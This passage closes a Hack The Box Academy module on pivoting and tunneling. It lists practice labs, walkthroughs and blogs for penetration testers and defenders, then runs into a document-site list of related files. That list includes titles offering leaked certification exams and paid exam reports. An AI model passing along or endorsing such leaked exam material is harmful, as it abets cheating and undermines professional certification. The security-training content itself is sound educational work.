common system like a SIEM which defenders check, will go a
long way to seeing an attack in the initial stages instead of after
the fact.

Beyond this Module

Real World
As a Penetration Tester, one could expect the tasks undertaken in this module to be
everyday tasks assigned to us during our day-to-day duties. Sometimes under direct
guidance and supervision, sometimes not depending on our skill level. Having a deep
understanding of Pivoting , Tunneling , Port Forwarding , Lateral Movement and the
tools/techniques needed to perform these actions is essential for accomplishing our
mission. Our actions can and probably will often influence the actions of our teammates and
more senior testers since they may be basing their next steps on our results if we are
working jointly on an assessment.

Those actions could include:

Utilizing tunnels and pivot points we set up to perform additional exploitation and
lateral movement .
Implanting persistence mechanisms in each subnet to ensure continued access.
Command & Control inside and throughout enterprise environments.
Utilizing our tunnels for security control bypass when bringing tools in and
exfiltrating data.

Having a firm grasp of networking concepts and how pivoting and tunneling functions is a
core skill for any pentester or defender. If any of the concepts, terminology, or actions
discussed in this module were a bit challenging or confusing, consider going back and
checking out the Introduction to Networking module. It provides us with a solid foundation in
Networking concepts such as subnetting, layer 2-3 technologies, tools, and common
addressing mechanisms.

What's Next?
To better understand Active Directory and how to use our new skills in enterprise pentesting,
check out the Introduction to Active Directory and Active Directory Enumeration and Attacks
module. The Shells and Payloads module can help us improve our exploitation skills and
give us better insight into the payloads we create and use in a target network. If the
webserver shells and pivots portions in this module were difficult, checking out the
Introduction to Web Applications and File Upload Attacks modules can clarify those topics for
us. Don't discount the fantastic challenge that Starting Point is. These can be great ways to
practice applying the skills you learn in this module and other modules on Academy to
challenges on Hack The Box's main platform.

Pivoting & Tunneling Into Other Learning Opportunities

The Hack The Box main platform has many targets for learning and practicing the skills
learned in this module. The Containers and Pivoting track can provide you with a real
challenge to put your pivoting skills to the test. Tracks are curated lists of machines and
challenges for users to work through and master a particular topic. Each track contains
boxes of varying difficulties with various attack vectors. Even if you cannot solve these boxes
on your own, it is still worth working with them with a walkthrough or video or just watching a
video on the box by Ippsec. The more you expose yourself to these topics, the more
comfortable you will become. The boxes below are great for practicing the skills learned in
this module.

Boxes To Pwn

Enterprise IPPSec Walkthrough

Inception IPPSec Walkthrough
Reddish IPPSec Walkthrough This host is quite a challenge.

Ippsec has recorded videos explaining the paths through many of these boxes. As a
resource, Ippsec's site is a great resource to search for videos and write-ups pertaining to
many different subjects. Check out his videos and write-ups if you get stuck or want a great
primer dealing with Active Directory and wish to see how some of the tools work.

ProLabs
Pro Labs are large simulated corporate networks that teach skills applicable to real-life
penetration testing engagements. The Dante Pro Lab is an excellent place to practice
chaining our pivoting skills together with other enterprise attack knowledge. The Offshore
and RastaLabs Pro Labs are intermediate-level labs that contain a wealth of opportunities
for practicing pivoting through networks.

RastaLabs Pro Lab

Dante Pro Lab
Offshore Pro Lab

Head HERE to check out all the Pro Labs that HTB has to offer.

Endgames
For an extreme challenge that may take you a while to get through, check out the Ascension
Endgames. This endgame features two different AD domains and has plenty of chances to
practice our AD enumeration and attacking skills.
Writers/Educational Creators and Blogs To Follow
Between the HTB Discord , Forums , and blogs , there are plenty of outstanding write-ups
to help advance your skills along the way. One to pay attention to would be 0xdf's
walkthroughs. His blog is a great resource to help us understand how the tools, tactics, and
concepts we are learning tie together into a holistic attack path. The list below contains links
to other authors and blogs we feel do a great job discussing Information Security topics.

RastaMouse writes excellent content on Red-Teaming, C2 infrastructure, pivoting, payloads,

etc. (He even made a Pro Lab to showcase those things!)

SpecterOps has written a great post covering SSH Tunneling and the use of proxies over a
multitude of protocols. It's a must-read for anyone looking to know more about the subject
and would make a handy resource to have during an engagement.
The HTB Blog is, of course, a great place to read up on current threats, how-to's for popular
TTPs, and more.

SANS puts out plenty of great infosec related information and webcasts like the one linked
here are a great example of that. This will cover many different Pivoting tools and avenues of
use.

Plaintext's Pivoting Workshop is an incredible workshop that our very own Academy Training
Developer, Plaintext, put together to help prepare players for Cyber Apocalypse CTF 2022.
The workshop is delivered in an engaging & entertaining manner, and viewers will benefit
from it for years to come. Check it out if you get the chance.

Closing Thoughts
Congratulations on completing this module, and we at HTB know you have learned some
new skills to use during your journey into the world of Cyber Security. Pivoting,
Tunneling, and Port Forwarding are foundational concepts that should be in every
pentesters toolbox.

As a defender, knowing how to spot when a host is compromised and being used as a pivot
point or if traffic is being tunneled through a non-standard route is crucial. Keep practicing
and leveling up your skillset. Happy Hacking!

Password Attacks
100% (2)
Password Attacks
106 pages
HTB Prolab Dante Walkthrough - DumKiy's Blog
75% (4)
HTB Prolab Dante Walkthrough - DumKiy's Blog
65 pages
HTB Prolab Dante Walkthrough - DummyKitty's Blog
No ratings yet
HTB Prolab Dante Walkthrough - DummyKitty's Blog
99 pages
CRTA Practise Lab Walkthrough - CRTA - Practise - Lab - Walkthrough
No ratings yet
CRTA Practise Lab Walkthrough - CRTA - Practise - Lab - Walkthrough
16 pages
BSCP в 2025
No ratings yet
BSCP в 2025
30 pages
Dante HTB
0% (1)
Dante HTB
33 pages
CRTP Report Phase1 Phase2 English
No ratings yet
CRTP Report Phase1 Phase2 English
4 pages
Challenge 5
100% (1)
Challenge 5
22 pages
Report 20256845
No ratings yet
Report 20256845
19 pages
Challenge 6
No ratings yet
Challenge 6
30 pages
Certified Red Team Professional (CRTP)
No ratings yet
Certified Red Team Professional (CRTP)
33 pages
CRTO July2022 6flags
No ratings yet
CRTO July2022 6flags
25 pages
Maze - Runner#0964: If You Want To Buy The Reports For Cheap Price DM Me On Discord
No ratings yet
Maze - Runner#0964: If You Want To Buy The Reports For Cheap Price DM Me On Discord
33 pages
Alchemy
No ratings yet
Alchemy
5 pages
Oscp
100% (1)
Oscp
6 pages
Rasta
No ratings yet
Rasta
5 pages
E WPTXV 2
No ratings yet
E WPTXV 2
66 pages
OSCP Survival Guide
No ratings yet
OSCP Survival Guide
52 pages
Windows Lateral Movement
No ratings yet
Windows Lateral Movement
93 pages
@FsKnockouT-1. Active Directory Enumeration & Attacks
No ratings yet
@FsKnockouT-1. Active Directory Enumeration & Attacks
368 pages
AD Sets DC01DC02MS01WK01
No ratings yet
AD Sets DC01DC02MS01WK01
24 pages
Eureka
No ratings yet
Eureka
3 pages
HTB Cpts Modules
No ratings yet
HTB Cpts Modules
1 page
Oddsey Writeup
No ratings yet
Oddsey Writeup
26 pages
CRTO v1
No ratings yet
CRTO v1
6 pages
OSCP Exam Report
100% (1)
OSCP Exam Report
19 pages
OSCP Zhenti Leaked-Currently Removed - InfoSec Learning - HTML
No ratings yet
OSCP Zhenti Leaked-Currently Removed - InfoSec Learning - HTML
17 pages
HackTheBox Corporate Insane Machine Walkthrough
No ratings yet
HackTheBox Corporate Insane Machine Walkthrough
38 pages
ASR920 Router Configuration Guide
No ratings yet
ASR920 Router Configuration Guide
252 pages
OSCP Exam Hits and Preparation
No ratings yet
OSCP Exam Hits and Preparation
7 pages
Pascha Mobile Mouse Server 9099 Metasploit Privilege Escalation Overwriting Service Windows
No ratings yet
Pascha Mobile Mouse Server 9099 Metasploit Privilege Escalation Overwriting Service Windows
5 pages
HTB (RPG) - Snovvcrash@gh-Pages - $
No ratings yet
HTB (RPG) - Snovvcrash@gh-Pages - $
64 pages
INE Lateral Movement and Pivoting Course File
No ratings yet
INE Lateral Movement and Pivoting Course File
107 pages
OSEP Exam Report
No ratings yet
OSEP Exam Report
6 pages
Industrial Networks Fundamentals - SE1
No ratings yet
Industrial Networks Fundamentals - SE1
23 pages
HTB - Prolab - P.O.o
No ratings yet
HTB - Prolab - P.O.o
25 pages
TCMS PNPT Training Overview
No ratings yet
TCMS PNPT Training Overview
16 pages
CRTP Notes Meshari Almalki
No ratings yet
CRTP Notes Meshari Almalki
121 pages
OSEP Exam Steps.
No ratings yet
OSEP Exam Steps.
1 page
OSCP MemDump IN 2022 CAN39721
No ratings yet
OSCP MemDump IN 2022 CAN39721
15 pages
eLearnSecurity eWPT Notes @offensive01 @library - Sec
100% (1)
eLearnSecurity eWPT Notes @offensive01 @library - Sec
370 pages
CRTP Command Checklists
No ratings yet
CRTP Command Checklists
6 pages
(@brianfabon) MS01v4 Unified Screenshots
No ratings yet
(@brianfabon) MS01v4 Unified Screenshots
3 pages
Burp Suite Certified Practitioner - Practice Exam
100% (1)
Burp Suite Certified Practitioner - Practice Exam
1 page
Ascension Hackthebox Unlocked
No ratings yet
Ascension Hackthebox Unlocked
46 pages
AD and Windows Exploitation Cheat Sheet
No ratings yet
AD and Windows Exploitation Cheat Sheet
31 pages
11 AttackingCommonServices
100% (1)
11 AttackingCommonServices
110 pages
Examsupports ONE
No ratings yet
Examsupports ONE
5 pages
OSWE Exam Report
No ratings yet
OSWE Exam Report
5 pages
eCPPTv3 Labs-3 PDF
100% (1)
eCPPTv3 Labs-3 PDF
11 pages
CRTP Notes
100% (1)
CRTP Notes
33 pages
OSMR Exam Report
No ratings yet
OSMR Exam Report
5 pages
eWPT Writeup
No ratings yet
eWPT Writeup
4 pages
Emapt Pre Exam
No ratings yet
Emapt Pre Exam
6 pages
Offensive Enumeration in Ad
No ratings yet
Offensive Enumeration in Ad
13 pages
eWPT Review - Miaulez
No ratings yet
eWPT Review - Miaulez
4 pages
Red-Teaming Active Directory Lab #3 (ELS - CORP) (Attack Path 2)
No ratings yet
Red-Teaming Active Directory Lab #3 (ELS - CORP) (Attack Path 2)
33 pages
Med Tech
100% (1)
Med Tech
37 pages
Archetype Write-Up: Impacket
No ratings yet
Archetype Write-Up: Impacket
17 pages
New Text Document
No ratings yet
New Text Document
2 pages
E CPTX
No ratings yet
E CPTX
13 pages
HTB Oscp Review
No ratings yet
HTB Oscp Review
18 pages
102 - OSCP (Chlorine) Hide01.ir
No ratings yet
102 - OSCP (Chlorine) Hide01.ir
2 pages
HF6208 User Manual
No ratings yet
HF6208 User Manual
97 pages
Simplified Evpn Vxlan
No ratings yet
Simplified Evpn Vxlan
75 pages
Convertor TCP Ip-Modbus RTU TGW-700-I Series Prezentare
No ratings yet
Convertor TCP Ip-Modbus RTU TGW-700-I Series Prezentare
5 pages
Iewb-Sc-Vol2 ALLSOLUTIONS v5 02
No ratings yet
Iewb-Sc-Vol2 ALLSOLUTIONS v5 02
1,014 pages
1 PenetrationTestingProcess
No ratings yet
1 PenetrationTestingProcess
85 pages
BGP Route Refresh Capability
No ratings yet
BGP Route Refresh Capability
11 pages
1.set 1 Questions
No ratings yet
1.set 1 Questions
5 pages
d7 - sff3 - SFF 9 SFFa00 - A - SCH - 1400 - 20150720
No ratings yet
d7 - sff3 - SFF 9 SFFa00 - A - SCH - 1400 - 20150720
86 pages
Computer Network Unit 4 (Easy Notes) Edushine Classes
No ratings yet
Computer Network Unit 4 (Easy Notes) Edushine Classes
55 pages
5 InformationGathering-WebEdition
No ratings yet
5 InformationGathering-WebEdition
67 pages
Cybersecurity Awareness Kit For The Guest of Rahman
No ratings yet
Cybersecurity Awareness Kit For The Guest of Rahman
9 pages
Module 1-1
No ratings yet
Module 1-1
94 pages
Socket Programming-2
No ratings yet
Socket Programming-2
19 pages
NWM CH 6
No ratings yet
NWM CH 6
35 pages
Tunneling Configuration Guide Enterprise v1.0
No ratings yet
Tunneling Configuration Guide Enterprise v1.0
21 pages
CII3D4 SisTerPar 04 Socket Programming PHV
No ratings yet
CII3D4 SisTerPar 04 Socket Programming PHV
22 pages
NTP Syslog SNMP
No ratings yet
NTP Syslog SNMP
38 pages
Chapter 9 TCP IP Reference Model
No ratings yet
Chapter 9 TCP IP Reference Model
38 pages
Network Models
No ratings yet
Network Models
6 pages
Understanding and Applying Cryptography and Data Security
No ratings yet
Understanding and Applying Cryptography and Data Security
13 pages
MOT Rele SEL751 - PROYECTO TOLUCA
No ratings yet
MOT Rele SEL751 - PROYECTO TOLUCA
3 pages
Asynchronous Transfer Mode (Atm) and Frame Relays
No ratings yet
Asynchronous Transfer Mode (Atm) and Frame Relays
15 pages
Static Lab
No ratings yet
Static Lab
6 pages
CN Ex No 2
No ratings yet
CN Ex No 2
6 pages
Ec8563 Question Set
No ratings yet
Ec8563 Question Set
3 pages
6FL4343-1CX10-0XE0: Building Technologies
No ratings yet
6FL4343-1CX10-0XE0: Building Technologies
8 pages
Ur20 Data Sheet
No ratings yet
Ur20 Data Sheet
2 pages
4.5.1-Packet-Tracer - Inter-Vlan-Routing-Challenge - es-XL
No ratings yet
4.5.1-Packet-Tracer - Inter-Vlan-Routing-Challenge - es-XL
2 pages
Questions Choice A Choice B Choice C Choice D Correct Answer
No ratings yet
Questions Choice A Choice B Choice C Choice D Correct Answer
5 pages
Spare Parts MV VSD Diff
No ratings yet
Spare Parts MV VSD Diff
1 page
Assignment TakeAway
No ratings yet
Assignment TakeAway
2 pages